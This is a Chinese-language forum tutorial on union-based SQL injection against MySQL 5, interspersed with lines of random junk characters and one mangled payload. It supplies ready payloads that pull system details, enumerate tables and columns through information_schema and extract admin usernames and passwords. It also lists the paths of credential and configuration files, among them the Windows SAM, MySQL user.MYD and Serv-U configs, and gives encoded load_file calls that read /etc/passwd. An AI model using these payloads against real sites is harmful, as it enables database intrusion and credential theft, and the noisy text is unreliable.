mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
% S* l: z" j  m0 `
1 C1 P9 N' z9 C
8 X& z* I3 H# C' C2 O
$ x: s( Z- N3 @, e1 @Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
3 {. z9 u* f" i1.得到所有数据库名：
  B1 k5 O2 ~! {6 u3 F- J|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称
6 m" D! k5 V8 d4 B* {9 A, E# E/ V
. M% n5 S2 M) C% A|TABLES ->存储表名
9 o/ n! w( O2 @1 t|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名

5 x' p- n$ z/ p* l$ P|COLUMNS ->存储的字段名表
/ f5 F2 y/ I( q/ L$ q- W( G& m: x|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称

|—字段：COLUMN_NAME ->该字段的名称

( `# L5 [* }( D#########################################################################
##
: {3 [# R# D4 y
' D4 M  }% T/ a4 X! s* q0×001 获取系统信息:
2 ^* a; _- {& G$ }" w
union select 1,2,3,4,5,concat
8 @  ?4 R2 w; t; D(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
" D9 l$ N. D% {" G, |  d(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*
$ V1 f5 [# B4 @7 d
@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值
0 e. s6 M: ?+ l. u
5 s0 a! x6 J+ _$ K*/
4 z: R# u/ @3 i' [
- I$ H* u6 s  H5 [4 k######################################################################

; C5 y" b" u* {5 M0×002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*
$ J% ~$ f+ v# z2 `- W' ]
: h4 R9 I+ A* b  ~/*
" S7 u2 ?/ o7 r
0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/

& Z3 M) J! Q% e. F######################################################################

0×003 获取字段
! }1 x+ `2 w* }
9 e# B% b3 ]! C1 Wunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
1 x7 h% M# |) w  x0 winformation_schema.columns where table_name=0x61646d696e and
1 z) B* o* ^. w& `9 {/ [% O

5 L4 i! B% ]2 |: V6 Y/ Ntable_schema=0x67617264656e limit 1 /*
9 X9 i2 l, W) O5 L+ U. x$ z9 @
  H4 a( ]) O: H/*

3 [0 a1 A, v; J& p3 Kgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
2 L* q0 p9 t; {, F9 I4 i$ V
# J, U/ K: {9 Y+ Y; _; [0x61646d696e ->选择一个表

0x67617264656e ->数据库名
5 z' A; L5 A5 S( f
*/

#####################################################################
4 v& W! s4 L/ E4 H: K  ^+ P
0×004 获取数据
) C+ C' r& c* e& {! [
$ O1 l* G3 Z# K. @union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

1 |3 b- r4 l  x+ g$ q6 punion select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
! Z) t: W" T5 D8 j5 l( `5 G
  x! s2 ]" r# W% h9 I5 y/*

; c, Y4 S( w/ g/ g6 A2 Q$ Z7 S5 f1 u0x3c62723e 换行符号HEX编码
6 g$ X2 p( G9 A, T
8 ^7 O4 ]" ]) f3 |- f# Cgroup_concat 同时获得该字段所有数据
5 |' J  V: N9 _9 p+ J( L# i9 c
( x: n$ B" d6 N' ?*/


5 L# z5 @( D( e8 j6 [

2 s3 c! D; X* P8 M7 i
顺便添加一些mysql注入时非常有用的一些东西

) E3 j* w; r# Z& n( g9 ^0 q: n8 v简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
# H+ a3 D- D4 ]# ?
1:system_user() 系统用户名
+ }& W+ I+ O* P2:user()        用户名
3:current_user()  当前用户名
6 k* ^. }; t0 S3 k+ w2 l4:session_user()连接数据库的用户名
, G) b* k6 _( c2 L% }& |5:database()    数据库名
, k7 S" c( F- l  |+ t& M6:version()     MYSQL数据库版本
; F5 w& I3 h) O0 l" m: _0 U7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
/ p/ o" K# u. R, l! J9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
! E  G  y# e1 Z- f1 J/ p' Z* e收集的一些路径：
8 {) f6 u1 h( v2 _7 u" cWINDOWS下:
9 b5 n% }! H6 q! v# K# \c:/boot.ini          //查看系统版本
4 d- _" z8 v. w* `c:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
1 T* J5 S( `3 p3 J) K3 Kc:/winnt/php.ini
: K$ q, [, t  yc:/winnt/my.ini
. e9 d! H- q4 \0 v1 ic:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
- b% h' v0 I+ ?" C8 {7 ec:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
5 P2 m7 d8 U( X6 q+ F( F4 X% _c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
* k: k* j. c7 ^3 ]- g# m% \c:\Program Files\RhinoSoft.com\ServUDaemon.exe
% v% y9 u, b) j  r8 wC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.

  x& B5 u/ G3 W" F$ {$ H
1 {" A0 @- Y) p# H9 [c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
9 C1 W) K$ D- l% [* D! |5 I. v; mC:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX下:
$ G+ b0 ?3 d8 X/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
. k1 o: _4 A7 e/usr/local/apache2/conf/httpd.conf
0 l' t) j4 \6 e/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
) C" `8 |) B1 \/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
8 s# |1 _* z% I6 P+ X2 c/etc/rsyncd.conf //同步程序配置文件
  b& {6 Q1 q- ?  g; o/etc/my.cnf //mysql的配置文件
0 P% M/ I* u; N) Q/etc/redhat-release //系统版本
( J" @5 Q/ l( k/etc/issue
6 @$ v% x! u) D1 ^# H3 I/etc/issue.net
9 S' x+ B  a  `3 S9 n+ `/usr/local/app/php5/lib/php.ini //PHP相关设置
2 }$ o2 E9 |3 ^2 r$ y+ \0 n/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
+ Q- n% H' T% Q! c; U/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
9 ]8 n1 X0 Y! M$ ~load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
0 R, s# S( s' m- |replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
1 i4 |$ z) W. M" t  \2 b8 Xreplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
. M. g0 z+ |: k% Z! P3 f6 J( p上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

. V2 U( M2 d9 s5 k; I: \; u. m